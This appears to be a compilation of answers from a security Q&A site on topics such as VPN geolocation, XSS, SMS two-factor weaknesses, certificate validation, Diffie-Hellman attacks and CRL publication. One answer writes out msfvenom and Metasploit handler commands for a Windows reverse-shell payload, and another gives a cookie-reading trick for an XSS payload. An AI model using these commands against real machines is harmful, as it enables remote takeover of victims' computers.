Your security here relies on a combination of the security of your asymmetric cipher (e.g. RSA) and the difficulty in guessing an ID. If you use an appropriate CSPRNG, 128-bit IDs should be sufficient.


How does Google Maps know where I am, when I'm using a VPN?

If you consent, Firefox gathers information about nearby wireless access points and your computer’s IP address. Then Firefox sends this information to the default geolocation service provider...

https://www.mozilla.org/en-US/firefox/geolocation/

Firefox knows the IP address, which is used to connect to the VPN provider. Many geolocation services, however, only look at the IP address they see from the server side.

By the way: With java installed, a website can read the local ip-address without asking for permission.

new Socket("http://example.com", 80)).getLocalAddress().getHostAddress()

example.com needs to be replaced with the name website to obey the same origin policy.


Trying to understand the point of this scam email

What it might be doing is to generate a list of email addresses of people who click and what they click on. Qualified email addresses are more useful than just knowing what email address exists.


XSS injection in the name of a file to be sent

To avoid using a dot, you could use document["cookie"] which is another way to write document.cookie. However, if (as multithr3at3d pointed out) you want to read the cookie in the response above, you won't be able to, as cookies with the HttpOnly flag set are not readable from javascript.


2-step authorization (using SMS) is less secure than having 2-factor disabled at all!

Having multiple factors of authentication are always more secure than any one of those factors apart.

A password and a token from an SMS message is harder for an attacker to circumvent than just a password or just a token sent through SMS.

However, SMS itself is currently considered the least secure authentication method, and there does not seem to be any way to make it more secure.  It should never be used as the sole authentication method.

A person's cell phone number can be reassigned to a different device without the user being aware. This can be done either by social engineering against tech support representatives, or by malicious (bribed) agents at any cell phone store.

In your example, where validating account ownership for the purposes of resetting the password is conducted solely through SMS messaging, if the attacker can reassign your number to their phone, they can gain control of both factors.  Google and several other large sites have additional steps to prevent this, such as sending emails to the account owner. However, this has been the basis for losing several accounts in the past, including a few where a couple million dollars worth of bitcoins have been stolen from people who use online exchange and wallet sites.


"btw Incognito mode in chrome can mitigate zero-day attacks on flash player?"

No, no way. No. I have no idea how you figured that.

As flash is notoriously insecure, there is not much you can do other than sequestering the browser from the PC. Your best bet is probably virtualization. Either run a VM, or use Qubes, on OS that does that for you. Alternatively, you can try using OS run from a USB memory stick, that can not write to your HDD such as Tails. Without being able to read form/write to your disk, there is nothing very harmful it can do.


Is it possible to track someone using their mobile number in the UK?

At a technical level, the only entity that should be capable of performing this tracking is your carrier (as far as I know). They are able to locate your phone using the location of cell towers the phone is currently in communication with.

However, much to the unsuspecting consumer, that data can be sold to 3rd party entities. It is likely that the company in question is purchasing this data from the carrier(s), and/or has some sort of agreement with them. In the US, there have been rather questionable practices regarding who the data is given to.

So, it isn't that difficult, as long as you find a company/carrier willing to provide the data at a price you can afford.


What you're talking about is known as the pigeonhole principle - if you have n possible passwords and a hash function with m possible outputs, where n > m, there will always be some input values which produce the same output hashes.

The question then becomes: does this matter? With a hash output space of 2160 possible values, an accidental collision has a probability of about 6.842×10-49. Not a whole lot. This gets more interesting when you look into birthday attacks, because the probabilities get much higher, but it's still generally considered infeasible to find 160-bit collisions using naive methods such as brute-force.

In reality, a smart attacker is more likely to focus upon vulnerabilities within the hash function which reduce the necessary computation in order to find a collision. But, in the arena of password storage, this should mostly be moot - passwords are easy to crack if you only hash them with SHA1, because GPUs can brute-force at a rate of billions of hashes per second due to their massively parallel nature.

If you want to store passwords safely, don't use a hash. Use a key-derivation algorithm designed for password storage, such as PBKDF2 or bcrypt. You should also take a look at a related answer I wrote about salted hashes, which goes into the history of how we progressed from hashes, to salted hashes, onto modern KDFs, and the rationales behind each defense and attack step.


Suggestion setting up a SQL injection honeypot

May I suggest some honeypots designed for things exactly like what you describe:

WebLabyrinth ( info )
Glastopf
DShield Web Honeypot Project


verification of certificate chain using openssl verify command

TL;DR: You need to give openssl verify the intermediate certificate, too.

Your manual verification:

$ openssl verify -CAfile /tmp/google_root.pem /tmp/server_certs.crt

Does not specify the intermediate cert.  When you perform the verification using s_client, it shows that there are three certs - root, intermediate, and server.  I've indented your output to make this more obvious:

CONNECTED(00000005)
  depth=2 OU = GlobalSign Root CA - R2, O = GlobalSign, CN = GlobalSign verify return:1
    depth=1 C = US, O = Google Trust Services, CN = GTS CA 1O1 verify return:1
      depth=0 C = US, ST = California, L = Mountain View, O = Google LLC, CN = www.google.com verify return:1

In order for openssl verify to work, you need to download that intermediate cert (CN = GTS CA 101) and pass it in the command line using the -untrusted argument:

  -untrusted file

  A file of untrusted certificates. The file should contain multiple
  certificates in PEM format concatenated together.

Something like this:

$ openssl verify -CAfile /tmp/google_root.pem -untrusted /tmp/google_intermediate.pem /tmp/server_certs.crt


Does that mean I must distribute to my clients a file, and is that the *.crt file, the *.csr, or the *.key file?

You need to distribute the certificate, i.e. the *.crt file. The *.key file must be kept secret since this can be used to impersonate the certificate. It is only actually needed on the server.

  What instructions should they follow to import that certificate correctly?

There is no generic way to install a certificate. Details depend on OS and client (i.e. different browsers, apps ...).


Website just installed something to tor browser without my permission

It is hard to determine exactly what happened when you say:

  It flashed for just a second and went away

While on normal web browsers such behavior may be indicative of malicious or unsolicited installation or download attempts by shady websites, on something like TOR it is unlikely. TOR was developed for user security and privacy and is meant to block or deny all such attempts (see: https://www.torproject.org/download/download). For example, 'NoScript' installed on TOR would not let common JS scripts to execute on your browser. It is unlikely that something got installed in the background on TOR implicitly.

So yes, while theoretically it is possible, practically, it is unlikely unless you explicitly allowed an add-on or plugin to install (which it does not seem like you did).


Testing web applications from an end user's perspective

If the session IDs are sufficiently random and unpredictable?

To check just for randomisation and unpredictability, I use myself Burp Suite - Sequencer.
Burp Suite Community edition is free to use.

  You would actually need to have access to the internal web application code?

Sequencer can make any request where in response you get ID you want to check. It can make a lot of requests and analyse the response cookie. In the example, it would be JSESSIONID.

e.g.

Request: www.google.com/login

Response: Cookie: JSESSIONID=5858FBAA9874233FB133936RR9D3E21F

  What are the other kind of test cases to check for sufficiently random and unpredictable cookies?

It would be hard to analyse randomisation and unpredictability without any tools.

  Test more comprehensively and value-add on my test cases on the web applications (without tools)

You can check for something like CWE-209: Information Exposure Through an Error Message.

Hopefully someone else can add to this answer who is maybe not testing with tools.


Apple AirPort w/ open network + Time Capsule backups

The communication protocol for the "Time Capsule" is AFP, a proprietary and rather under-specified protocol defined by Apple. Since version 3.1, AFP may be protected against eavesdropping by wrapping it into SSH, but whether this is the case for your Time Capsule is not clear (there are some conflicting reports as to whether this is doable at all; but, at least, it would have to be enabled explicitly).

You could try to run a network monitoring tool such as Wireshark, on one of your Mac, to see exactly how that Mac communicates with the Time Capsule when it performs backups.

In any case, allowing outsiders on your internal network seems like a bad idea, especially since with an open WiFi you cannot control who connects. In any town, running an open WiFi almost guarantees connections from strangers. Even if your Time Capsule happens to be safe, anything in your network can then be subject to hostile attempts (desktop systems, servers, printers...).

I strongly suggest that you run your "open WiFi" (if you really want one) in a dedicated network zone, isolated from your main network with some firewalls.


Is there any way to bypass SNI eavesdropping?

Some governments already sniff SNI. I believe Russian ISPs do it to comply with regulations put forth by Roskomnadzor, for example. In cases where they are not sniffed or are not even present, encrypted connections may be blocked entirely. Additionally, websites with individual pages that are blocked may be blocked entirely when HTTPS is used. SNI sniffing is only one part of it.

You are right that disabling SNI could be used in some circumstances to bypass censorship. I operate a website which is blocked in Russia, and I've discovered that it is not blocked if the SNI field is removed. However, my website is the only one hosted on its IP address, so SNI is not necessary in the first place. It may be possible to create a browser extension to selectively disable SNI for certain websites to evade censorship, but it would not always be reliable. I do not know if Firefox's new extension API is sufficiently powerful to modify such low-level behavior.

You can modify the browser to not include SNI, but that would prevent you from connecting to an IP with multiple certificates for multiple domains. A server would have no idea what certificate to present to you when you connect to an ambiguous IP address that hosts multiple domains. SNI exists so the server can respond with the correct certificate. Encrypting SNI by doing opportunistic encryption with the server before even sending SNI would be possible and would protect against a passive adversary, but could fundamentally not protect from an active MITM.


Ring 1 and Ring 2 Memory Protection Architecture

The four ring system was designed by Intel for anyone to use, and Microsoft chose a scheme to simplify development work and provide a faster OS at the cost of some security. As far as Microsoft is concerned, they haven't been phased out, so much as they were never used to begin with. Microsoft didn't ask Intel to make a two ring system; Intel provided a four ring general-purpose system, and Microsoft decided to use it in a way they saw fit.

Intel had provided a way for OS's to provide extra security to prevent malicious drivers from crashing the system, and Microsoft chose to go a different way (signed drivers), which is optional in 32-bit mode, and required in 64-bit mode. Microsoft requires validation that the drivers will not affect the system before they will sign a binary. You'll recall that Windows 95/98 were notorious for crashing. This is because drivers were usually buggy and the OS had no protection from those drivers, since they were all in Ring 0.

I believe there are some modern operating systems still in use today that use more than two ring levels, and as a matter of backwards compatibility, hardware manufacturers can't exclude those two "unused" rings. Just because Microsoft nor the main Linux kernel uses more than two levels doesn't mean that someone couldn't write an OS that does use the extra protection that Rings 1 and 2 provide. Hardware protection from malicious or just faulty software was absolutely necessary in an age where we could not verify program behavior beforehand, and processors were too slow to do all of the protection in software.

Microsoft also released a research project called Singularity, and operating system where all code runs in Ring 0, and all pages in memory do not use segment selectors. In other words, there are no hardware protection against malicious programs. This results in a significant boost in speed, as programs no longer have to pass through ring levels to call kernel code, but all code has to be statically verifiable, as it would be if written in .NET without using the "unsafe" keyword. The OS can statically verify that a program is not malicious before execution. The full source code is available for free.

Hardware protection is likely never going to phased out, because there are simply too many systems that depend on it. It would take a coordinated effort between hardware and software vendors, and it would probably cost billions or even trillions of dollars in the long run, without any significant reduction of cost in terms of operating power/speed/etc. The two rings, 0 and 3, will likely continue to be used in the foreseeable future as long as there are only three major competing OSes (Microsoft, Apple, Linux). It would take a significant market change to upset the status quo.


Intel How Strong is Your Password page, good advice?

Yes you are right. Using a pool of passwords is definitely recommended but the passwords should not follow a pattern, but that is how we think (we are security guys). May be the writer was thinking from a common user's point of view because most common users simply don't want to take the headache of remembering multiple passwords and having a common pattern in all the passwords may encourage them to use different passwords because now the passwords are much easier to remember (and easier to guess by a smart hacker).

I personally prefer to maintain a pool of passwords.Nowadays you have to create an account with a number of random websites and you don't know how they are handling your passwords. I remember once on a job portal (read monster.com) I clicked on forgot password and then they mailed me my original password in plain text (they are still doing it!!!). Here in our community we have some great discussions on password management but there are people out there who do not care for your security.

One should never use his bank related and other important passwords any where else. You can always remember a comparatively simpler password for these random websites.


The best I could dig up was here:

https://wiki.shibboleth.net/confluence/display/SHIB2/FlowsAndConfig#FlowsAndConfig-4IdPIssuesResponsetoSP

It looks like security is provided by:

IdP limits what it gives to the SP based on how it'll be transmitted
Yes, for SAML 2.0 assertions, the IdP encrypts it's response to the SP

The way this is written, it sounds like encryption is provided specifically on SAML 2.0 assertions, not on everything.  And I'm specifically reading the Shibboleth 2.0 documentation as that seems to be what supports SAML 2.0.


XSS in HTML title tag without forward slash

Within a HTML5 <title> tag, it is not possible to inject new elements without allowing slashes.

Since your browser's HTML parser is a state machine, you can simply follow the state transitions of the tokenizer (per the HTML syntax specification) and see how far you get.

In your case, a <title> tag in the head section evokes the "generic RCDATA element parsing algorithm".
From the RCDATA state, every opening bracket is ignored unless you're closing the most recently opened tag. So the only continuation that will not be treated as raw text is the literal sequence </title>. And since that string contains a slash, no XSS will be possible. (This behavior is similar to other elements such as <textarea>).

My answer here has a slightly more verbose description of how the tokenizer can help you reason about possible XSS.

  Can i encode a forward slash in some other way?

The HTML parser only accepts a literal / (0x2f). If you're asking how the web application could be tricked into printing a slash, this would be pure speculation as it depends on the web app's implementation.


Doing that you are setting Metasploit into a "listening" state. Now you are missing the other part. The "victim" should execute the generated executable file and if the victim machine is able to connect to your Metasploit machine, the Meterpreter session will be opened. If the Metasploit machine is behind a firewall, you should open the port from your firewall to the Metasploit machine. Other thing I saw bad on your screenshots is LHOST is not the same on your executable creation and setting the LHOST on the Meterpreter payload. The ip should be the same, is the ip of your Metasploit machine. From your example I guess your ip 124.x.x.x is your Metasploit machine ip.

Anyway, I think is easier to create the executable file using msfvenom. Doing this (outside msfconsole):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=124.x.x.x LPORT=4444 -f exe > /some/path/hehe.exe

Replace /some/path/ with a real existing path on your Linux to deploy there the executable file.

Then on Metasploit you should execute only this:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 124.x.x.x
exploit

After this, Metasploit is ready to receive connections. Then execute the executable file on victim machine and the Meterpreter session will be opened.

I insist, is very important that the victim machine must be able to reach the ip of the Metasploit machine on the port set (4444 on your example).

Good luck.


What can be a reason you DONT want to use port 443 for SSL communications

The usual reason to use something else than a well-known port is to reduce the attack surface by eluding scans of well-know ports.

Here if the port 443 is not open some 'bot scans' will consider there's no https access possible and won't try their usual attacks on this system.

This is the same reason for not answering ICMP requests publicly.


Is browser history an important factor when considering security?

Yes, this is a vulnerability. You can point them to such august bodies as

OWASP Top 10

https://www.owasp.org/index.php/Information_exposure_through_query_strings_in_url
https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management

CWE

Information Exposure Through Query Strings in GET Request https://cwe.mitre.org/data/definitions/598.html
Insufficiently Protected Credentials https://cwe.mitre.org/data/definitions/522.html

StackExchange

https://stackoverflow.com/questions/26671599/are-security-concerns-sending-a-password-using-a-get-request-over-https-valid

The common problem is that the credentials are stored on the client-side in the clear (browser history) and on the server side (webserver connection logs) and there are multiple methods to access that data.

Yes, it is laziness on their part. They are thinking of their code alone, and forgetting the client-side and the infrastructure.


Is Diffie–Hellman key exchange protocol vulnerable to man in the middle attack?

It is vulnerable in one version. Just to be more clear, the three basic versions of Diffie-Hellman are:

Anonymous DH, where Alice and Bob simply send each other unsigned values;
Fixed DH (sometimes simply called DH);
Ephemeral DH (see below).

Anonymous DH is easily vulnerable to a MitM attack, as follows.

Alice generates a value X, Bob generates Y, Eve generates Z.

Alice sends g^X mod p. Eve intercepts the message and changes it with g^Z (her own random value) mod p, before sending it to Bob.

Bob now thinks Alice has sent him g^Z mod p, as there is no signature nor any other authentication mechanism.

Bob sends g^Y mod p. Eve intercepts the message, changes it with g^Z mod p and sends it to Alice.

Alice now computes (g^Z mod p)^X mod p.

Bob now computes (g^Z mod p)^Y mod p.

Eve computes (g^X mod p)^Z mod p, which is her secret with Alice, and (g^Y mod p)^Z mod p, which is her secret with Bob.

Alice encrypts "I love you" with (g^X mod p)^Z mod p.

That key has been agreed with Eve, so Eve can decrypt the message, change it to "I hate you" and re-encrypt it with her secret with Bob. In other words, Eve can act as a proxy by having agreed on a different key with Alice and Bob.

This can be avoided by using Fixed DH - where g^X and g^Y are signed by a trusted CA - or, even better, Ephemeral DH.

In Ephemeral DH (DHE) X, Y are changed every time, i.e. at each session. They are also signed, in order to prevent MitM. However, because they always change, and the signature changes with the signed message, how can the other party verify the authenticity of the signature?

The DHE solution is simple: use a certificate. If Alice can sign her own g^X with a private key and prove that the corresponding public key is associated to her, via a certificate, Bob can verify the certificate and, by doing so, verify Alice's identity and therefore the authenticity of her g^X.

Therefore, DHE works like this.

Alice previously obtains by some trusted Certification Authority (CA) saying "Name: Alice, PublicKey: PKAlice. Signed by CA".

More formally, the certificate is Cert_Alice=(Alice, PKAlice)_CA, which means that it contains the public key of Alice PKAlice and is signed by the CA.

The same is done by Bob, which obtains a similar certificate.

Alice generates X and computes g^X mod p.
Alice then sends two messages to Bob, M1=(g^X mod p, PKAlice)_Alice (signed by Alice) and M2=Cert_Alice.
Bob verifies that M2 has been really signed by the trusted CA (by using the known PKCA to see if the signed message matches the signature), and that it really belongs to Alice.
If M2 has passed the previous tests, it means that it has been sent by Alice (unless someone has stolen Alice's private key and the certificate is still valid). At this point, Bob uses the certified PKAlice, which was inside M2, to verify the signature of M1. If everything is OK, Bob stores g^X mod p.
Bob generates Y and computes g^Y mod p.
Bob then sends two messages to Alice, M3=(g^Y mod p, PKBob)_Bob (signed by Bob) and M4=Cert_Bob.
Alice checks the validity of M4 (see 4).
If M4 has been completely verified, Alice uses the certified PKBob, which was inside M4, to verify the signature of M3. If everything is OK, Alice stores g^Y mod p.
Alice and Bob separately compute (g^Y mod p)^X mod p==(g^X mod p)^Y mod p.

At each new session, restart from 2.

Of course, using signed messages after the DH exchange would allow to immediately detect that something weird has happened, but there's nothing in anonymous DH itself that prevents MitM attacks.


Using an IPS as an alternative to mod_security

Web application firewalls like mod_security have the potential to be more effective than network-based IDSs like Snort, because a web firewall can see the request exactly as it will be handled by the web server, and a network-based IDS cannot.

Network-based systems, like Snort, can only see the network packets.  They have to infer/guess how the web server will interpret them.  This introduces additional possibilities for evasion attacks (ways to conceal an attack).  I'm not saying that mod_security is perfect or immune to evasion attacks, just that evasion attacks pose an even greater challenge for network-based solutions, like Snort.

The advantage of network-based solutions is that in some cases they can be easier to deploy.  If you have a bunch of webservers, you can stick a network-based IDS at a chokepoint in the network, and they protect every webserver behind them, without needing to install and configure mod_security at each one.

That said, none of these approaches provide strong security.  They are a stopgap, a way to mitigate security issues with legacy systems, but they can be defeated and they have many shortcomings.  If you have the option, it is far better to build security into your software (e.g., your web applications) from the start.  IT folks love the idea of IDS, IPS, and web firewalls, because they're easier to deploy -- but I think their benefits are often oversold.  Trying to mitigate vulnerable software after-the-fact with an IDS, IPS, or a web firewall is brittle and prone to failure.


There is not a simple process that can do this. For example is an obscure English dictionary word more or less secure than "MyP@ssw0rd"?

Enforcing rules that require symbols and numbers leads to users using "password1!" etc. and forcing users to rotate passwords leads to "password1", "password2" etc.

  if an attacker is not able to crack it with rainbow tables or bruteforce it within a week

Via what mechanism? Over a network with rate limiting? Do they have access to the stored hashes? You need a lot more context for "a week" to have any relevance. For a brute force are they incrementing byte values or using a dictionary? What dictionary? - all you need is a user reusing an otherwise secure password on a site that is hacked...

  I'm trying to find a tool to validate the security of a password

Personally I would suggest a combination of character limit (>= 10 characters) combined with checking the password against lists of known to be leaked passwords. For example Have I Been Pwned maintains a list of several hundred million SHA1 hashes of leaked passwords. If the SHA1 of the user entered password is not in there the chances are it wouldn't easily be brute forced / dictionary attacked.


Why was the private key of the Superfish certificate so easily extractable?

Unless the Superfish malware has been installed on your system, (which it might if you bought a Lenovo machine,) you don't have to worry.  This attack worked because the secret it revealed was necessary for the malware to hijack the data; it is not a part of how legitimate certificates are authenticated.

It helps to understand the relationships between a certificate, a public key, and a private key. A private key is a secret number used to sign messages with digital signatures (or to encrypt web traffic), and it has a matching public key that can be used to verify those signatures. A certificate is a public document that contains a public key; web site owners put their public keys onto certificates and send them to companies called Certificate Authorities (CAs) who digitally sign them to prove their certificates are genuine.  The digital signatures ensure the document has not been changed, assuring you the public key it contains is the genuine key of the site you're visiting.

CAs are companies everyone agrees to trust to only sign certificates from legitimate sources. They also have a private and public key pair. They keep the private key very secret, locked in a secure cryptographic device called a Hardware Security Module (HSM) and they restrict access to it so it can only be used to sign a customer's certificate when the customer generates a new key. But in order to be useful, everyone on the web needs to know their public keys. So these CAs put their own public key on a special certificate and sign it with their own private key ("self-signing"). They then send these self-signed "root certificates" to the browser vendors and OS vendors, who include them with their products. A real CA would never, ever, send out their private keys!

The trusted authority root certificates are the documents that validate all the certificates of all the connections your computer makes. Thus, your computer has to trust them. This malware is installing an untrustworthy certificate in a position of ultimate trust, compromising the security of the machine by allowing anyone who knows this key to forge a certificate for any site, hiding evidence of their tampering.

The malware abuses its position by generating phony public and private keys for every site you visit; after you connect it injects its payload into the web site's page. In order for your browser to trust these phony keys and not give you warnings, the malware generates a forged certificate that tricks your browser into believing the keys are legitimate.  But like any certificate, the forgery needs to be signed by a trusted CA. To sign, the malware needs a public and private key, just like a real CA. Because the phony CA is forging these certificates right inside your computer, the private key needs to be inside your computer as well. It's impossible to keep such things secret from the owner of the computer, but they tried by taking some rudimentary steps to hide it. The blog you linked to described how he uncovered the secret.

No legitimate certificate authority would ever allow their private key to be leaked, much less send it out to a bunch of random computer owners. There was a case where a certificate authority had their secret key leaked; their reputation was ruined and they went bankrupt in a month. Since your computer doesn't contain the private keys of the legitimate certificate authorities, there is no secret for an attacker to crack.


What should I set the TTL for my DNS to?

What should I set my TTL to for the most secure DNS?

As you already state in your question: a high TTL conflicts with a possible insecure mail server and a low TTL conflicts with a possible insecure DNS server.  Since the security of DNS and mail server depends in the actual setup there can be no general "most secure" TTL setting. Instead you have to evaluate the specific risks of your setup to find out the most secure value for your setup.


Get security certificate for secure Laptops etc

Certificates like that only exist at the point of device manufacture. If you were to walk in, get it inspected and certified, then as soon as you walk out the door, the certificate is useless for determining if it is still fine. It only certifies the state of the device at the point in time of the inspection.

What is done instead is to run agents on the device that provide live updates on whether the device is fine or not. That agent can then talk to the network and the network can allow the device on the network. This is a form of Network Access Control. This can be done for employer-owned devices and is also used to allow BYOD devices onto an employer's network.

There are different ways of doing this, too. Either by enforcing a certain level of security on the device (by doing it) or by verifying what has been done and notifying the network as to the level of security that the device has. Different parts of the network can allow different levels of security, for instance.


Is this file malicious and how is it being transfered via youtube?

Okay so it turned out to be an attempt to embed the video into the comment section of the blog. The link that was in there is the flash object of the video, so it is not malicious.

Apparently there is some sort of new spamming campaign as searching for the strings used in the spam message returns more of the same, although not working quite so well as they did not include the link in their message but rather as their website, which makes their username redirect to the flash file instead of embedding it on the page itself.


What prevents a man in the middle attack when verifying a certificate with authority?

If a certificate looks suspicious you'd want to verify it with the authority. As such you'll need to open a channel to the authority's verification server.

No. TLS certificates are verified entirely locally. The certificate authorities' public keys are stored on your system (maintained by OS and browser vendors), and public key cryptography gives you the ability to verify that the certificate was signed by the corresponding private key.

The only thing close to what you're saying is checking for revoked certificates, which historically has involved a network check. Due to issues with an attacker being able to make those requests fail, Chrome at least now bundles revocations into its software updates.


Can CA certificate be spoofed on the browser level?

Technically -- yes, they could. However, there are few thoughts:

1) web page code cannot interact with browser's address bar.

2) an attacker may write a plugin/extension if web browser provides interfaces for such interactions.

2.1) an attacker can spoof browser's binary modules to change browser behavior. However, this will require source code knowledge and an ability to overwrite binaries.

In reality it is very and very unlikely. This attack vector assumes that attacker already gained access to your computer. In this case, he don't need to do such complex manipulations, it is easier to insert rogue root certificate in trust store and use it to spoof users.


VLANs, Subnets and a sensitive database server

You can put the switchs ports of your database in trunk mode and allow the vlan B and "sensitive database" and exclude vlan A of this trunk.

Edit

If yours vlans are on differents subnets you could allow the vlan Database with the VLAN B and not the A by using ACL in yours switchs L3.


If the root CA is offline then the root CA is offline: it has no network. This implies that whenever a CRL is published, a manual intervention is needed to put it on a connected host. At that point, you can put it manually in three places if need be.

The "Authority Information Access" (AIA) and "CRL Distribution Points" (CRLDP) extensions are information which is written in the certificates issued by the CA. In that case, these extensions are in the CA certificates issued to the subordinate CA (the three subdomain CA). There is no requirement that each sub-CA receives the exact same AIA and CRLDP from the root; you could perfectly arrange for the root to issue the certificate for CA1 with an AIA and CRLDP pointing to locations (ldap:// URL) in the forest for DOM1.A.COM, where you will manually push a copy of the root CA certificate and the CRL produced by the root CA. Ditto for CA2, but this time with locations in DOM2.A.COM, and so on.

However, it is probably simpler to use HTTP. Put a Web server somewhere accessible from all the domains, and have the root CA write in the certificates it issue some AIA and CRLDP with http:// URL. Plain HTTP is fine for certificates and CRL, which are signed object, and thus can be distributed with no regard for any kind of security (no need of HTTPS or whatsnot for certificate and CRL publication).

Also, the AIA is not very useful for a root CA because it is a root: validation will work only if whoever validates trusts the root a priori, so it must already know it. AIA is for locating certificates which you do not know a priori, and, therefore, certificates which you do not trust a priori: very useful for intermediate CA, quite useless for root CA. In an Active Directory context, you can push the root CA as "trusted" through, for instance, some GPO.

To automate CRL publication, you could use a mostly offline root CA. That's a root CA which is offline except that it has an inherently one-way channel to output regularly produced CRL. I have done it once over an audio cable (CRL encoded as sound, decoded on the other side): the advantage is that the "out" jack from the audio interface of a server is physically distinct from the "in" jack (the "out" is green, the "in" is pink), so it can be visually ascertained that the root is still offline. Other people have used RJ45 cables with only one pair of wires connected, which has better bandwidth but is less easily visually inspected.

Anyway, it does not change the root of the thing, which is that HTTP will make your life simpler.


Why do I see 2FA but not see "two separate entities" being prioritized in website authentication?

I do understand that the attacker can only access your account once because the TOTP token would expire after 30 seconds.

This is case for TOTP. But there are a lot of HOTP based on counter, which is really one-time password, which means that capturing it does not allow anyone else to log in if you already did (the virus on your computer would have to prevent sending the real one time password). This is also the case of most of hardware tokens and SMS tokens.

  You send the current TOTP token that directly from your phone to the server of the site you were trying to log into from your computer

There are such tools, but I am not aware about deployment for public websites. It is usually called port knocking or single packet authentication (SPA), usually used for opening Firewall port for example for SSH. It is good additional level of security, but overkill for everyday use. Nice implementation is fwknop and I believe you would be able to bind it to your application as an "second factor".


Can BREACH be thwarted by simply adding a sort of "salt" into the page being compressed?

If you have always the same amount of random data the attack will probably still work in the same way. If you instead add a random amount of random data the original attack might not work any longer but I think it can be modified by simply trying again and again in the hope that the same amount of random data is added often enough. Which means it will slow down the attack only and how much depends on the amount of random data you add. For example if you add between 1 and 10 random characters at the top of the file it will probably only slow down the attack by a factor of 10. If you add 1..100 characters the slowdown will be factor 100.

A better approach would be to create some random value and modify the CSRF token so that it will consist of this random value and an XOR or with this value with the original CSRF token. This way the CSRF token will change all the time inside the HTML so that BREACH will no longer work.  And the application can easily get the original CSRF token back.


Encryption strategies for multi users access in production systems

A common way of working for multiple-user access to encrypted data is this, which is a simplified description of a full-disk encryption scenario (a real system might have more levels than described here).

The data itself is encrypted with a content key, Kc.
Kc is stored on the computer n separate times, one per user. Each instance is encrypted by a different user key Ku1...Kun.
Each of the i user keys Kui is derived from the credentials for user i.

What this gets you is that it's easy to change one user's credentials or revoke that user's access without affecting everyone else.

Another way that's available for things like MySQL databases (and is close to how file protection in iOS works) is this:

Data encrypted by the content key.
Content key protected by access key, derived from user credentials.
mysqld is given the access key, and provides all access control to the user data.

In this case you have to be sure that your access control cannot be bypassed.


How does IPSec protect against IP spoofing?

The simplest answer is that negotiating an IPSec connection requires mutual authentication, which is a way to prove the identity of the entity behind the IP address.  All subsequent communications are cryptographically sound, such that there's no way you can carry on those communications unless you went through the mutual authentication phase.  An attacker can spoof the IP - but they can't convince the other party to trust that IP unless they compromise the credentials used.

It's more complex than that, of course, but that's the gist of it.


Certificate request - why does the requester have to create a private key?

From the wikipedia link:

  Before creating a CSR, the applicant first generates a key pair,
  keeping the private key secret. The CSR contains information
  identifying the applicant (such as a distinguished name in the case of
  an X.509 certificate) which must be signed using the applicant's
  private key.

Add:

The CSR contains the public key + additional information. It is signed (not encrpyted!) with the private key to proof authenticity (hint: can be verified with the public key).

Proofing that you own the domain or are the person that this certificate is issued for is a different, separate process. Domain validation is easyily verified by sending an email to the admin of the domain. Enhanced Validation (EV) the green bar, takes some physical proof and is a more extensive process therefore more expensive. Dito for certs issued to a person.


Does the method of Internet connection affect the security of your the network?

For attackers who are "far away", the medium is irrelevant: such attackers act at the logical level, sending IP packets which must go through the facilities of your ISP. What could protect you at that point is a competent ISP, which is unrelated to the medium used to move the packets between the ISP and your home (and that's an oxymoron, too).

Medium matters only for attackers who are physically close. A motivated attacker with physical access to the premises could "work around" the medium by attacking either end. With an ill-tempered hound and a shotgun, you can take care of the physical security of your home, but there is little you can do for the other end, which is under the responsibility of the ISP. Radio-based links may be a bit more at risk here, because the ISP end of it must have an aerial antenna, thus exposed to the elements at large, and attackers with climbing skills.

If we consider only attackers with low motivation and unwilling to act physically, and yet for which the physical medium has any importance, then the question becomes "how can I prevent my neighbours from spying on my connections and leeching my bandwidth ?". There, the medium can make quite a lot of difference, because of the availability of the required tools. For instance, I would rate 3G connections as "quite secure" (in that context) because 3G includes encryption, and in any case 3G protocol analysis apparatus is neither cheap or off-the-shelf at any Best Buy-like franchise. At the other end of the scale, one may find WiFi-based ISP: WiFi has a long history of botching encryption and security, and all laptops have an on-board WiFi component which is easily amenable to protocol analysis (e.g. changing your MAC is standard issue and supported by any decent OS out-of-the-box).

In the "neighbour is the attacker" scenario, point-to-point mediums are also somewhat better than broadcast mediums; I know of some Cable providers where the cable is a thinly disguised carrier for ethernet frames, which are broadcasted throughout the building, the ISP "box" acting as a filter. On the other hand, DSL is normally point-to-point.

Some ISP use cryptography; at least, some DSL providers implement (or used to implement -- I saw that in France about 10 uears ago) PPTP or L2TP with encryption and strong authentication. Done correctly, this provides a high level of protection against neighbours, which abstracts away the details of the physical medium. This brings us back to the question of ISP competence...

Most of the security issues you will have will be with the router provided by the ISP, which can have backdoors and security holes; and, in the second place, security holes in the ISP network itself. As for the medium, in your list, I would rate 3G networks with the highest level of security because the protocol includes by default some decent protection, so a medium-related issue would need the ISP to be creatively incompetent; whereas for Cable, DSL or Fiber, basic crassness is sufficient to be vulnerable.


Would this be a secure Authentication flow?

A couple things worth noting:

IP's change -- probably more often than you expect
You're screwed no matter what if someone is able to listen in
Any code executed in-browser can by bypassed if someone is listening in

What you're describing is what's known as a bearer token: whoever bears the token has the power of the token. This is exactly how most websites work, except they often just call them session cookies.

There are a couple things you can do to protect this token.

Enforce HTTPS using a real trusted certificate -- this is all an exercise in futility if you don't use HTTPS.
Enable HTTP Strict Transport Security; this'll signal to the browser that all requests to site must be over HTTPS, and therefore any man in the middle will probably be noticed because of an invalid certificate. This has limited effectiveness though because an attacker might strip the HSTS header before the browser sees it.
Consider public key pinning; this'll make it more difficult for someone to use a trusted but fake certificate while doing a MiTM. This is extremely effective if you're using a non-browser app because you can control the channel validation.

If you're still concerned about someone intercepting the request then you need something like a client certificate, so you can do mutual authentication. This will guarantee protection against interception because the key exchange can only occur between trusted parties.


Received an unsolicited two-factor security code on my phone: bad?

Yes, this is probably a bad sign.

First of all, though: This might simply be a phishing mail that hopes you click some link in the mail that says "report a problem with this email to Paypal", but takes you to a different website than the real paypal site and lets you enter your credentials there. So, the worst thing you can do is click on any link from this mail. You could check for the links' actual target – if they're not on servers that are unambiguously paypal.com, then you can be pretty certain this is nothing but an attempt to phish.

Go to https://paypal.com (maybe using another machine than the one you're normally using to enter your Paypal credentials, since you've got reason to assume it has been compromised), check the certificate of that website your getting looks correct, and find a contact phone number to call. Change your Paypal password from a machine you can reasonably well assume is free of malware that might try to steal your credentials.


Identifying, analyzing, and predicting weak session cookies

